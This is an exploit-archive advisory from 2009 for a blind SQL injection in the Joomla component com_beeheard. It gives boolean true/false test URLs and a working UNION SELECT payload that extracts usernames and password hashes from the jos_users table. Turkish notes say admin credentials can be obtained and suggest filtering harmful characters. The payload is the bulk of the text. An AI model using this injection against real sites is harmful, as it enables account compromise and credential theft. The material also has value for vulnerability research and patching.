Joomla Component com_beeheard Blind SQL injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Joomla Component com_beeheard Blind SQL injection Vulnerability
# Published : 2009-12-27
# Author : FL0RiX
# Previous Title : com_webcamxp Cross Site Scripting Vulnerabilities
# Next Title : com_jm-recommend Cross Site Scripting Vulnerabilities

[++] Joomla Component com_beeheard Blind SQL injection Vulnerability
[++] author : FL0RiX
[++] Name : com_beeheard
[++] Bug Type : (Blind) SQL Injection
[++] Infection : Admin login bilgileri al&#305;nabilir.
[++] Demo Vuln. :

TRUE(+)
? http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=1
FALSE(-)
? http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=0

[++] Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.



< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--

< -- bug code end of -- >